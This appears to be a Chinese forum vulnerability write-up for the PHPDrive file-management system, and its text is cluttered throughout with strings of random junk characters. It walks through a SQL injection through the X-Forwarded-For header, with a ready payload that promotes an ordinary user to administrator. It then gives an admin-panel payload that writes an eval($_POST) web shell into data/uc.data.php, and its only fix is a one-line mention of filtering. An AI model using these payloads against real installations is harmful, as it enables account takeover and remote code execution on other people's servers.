PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等$ f1 \! n5 ^& ~) {4 r ^0 f
( _6 z) Q! m1 C. h* I% r- Q; r
includes/user.lib.php
0 F& v. k4 ]* P! ]5 F$ r行876 P; _0 g6 m# _0 @
function get_ip() {: [9 r3 Z, e6 \" p8 J6 w
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
' V9 a- W$ F* h1 s1 ]在用户注册与登录 处module/disk/account.lead.php) M4 O' s, H8 L4 g
198行 ; y. u: y! f' i* I
//更新本次登录IP和时间
9 ~ d' c5 x8 W- X5 s( P+ L# s $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生) n# N) C* s6 J/ H1 l* Z3 I
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限5 a0 a9 b7 p' @* A" @6 V
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.& p2 }. |8 n7 ?/ [; G
后台getshell:
/ p& ~" o# h! c' e在UCenter设置处,将UC数据库登录名填写为' z9 w! n* ^' ]2 y g/ Q
# X# N3 s: K" _3 a' \
root’);eval($_POST[DisKill]);?>/*! I3 f$ d# z7 l; D( v- `
可以得到一个shell,位置在 data/uc.data.php/ r* K* s e* B
& t. U+ K4 S/ L a; Z- v. R" \$ W# j, ~
修复:过滤注入
" u7 B f) i8 i { K- U
/ ]- w4 C- h; Y/ `; g1 W. R0 b |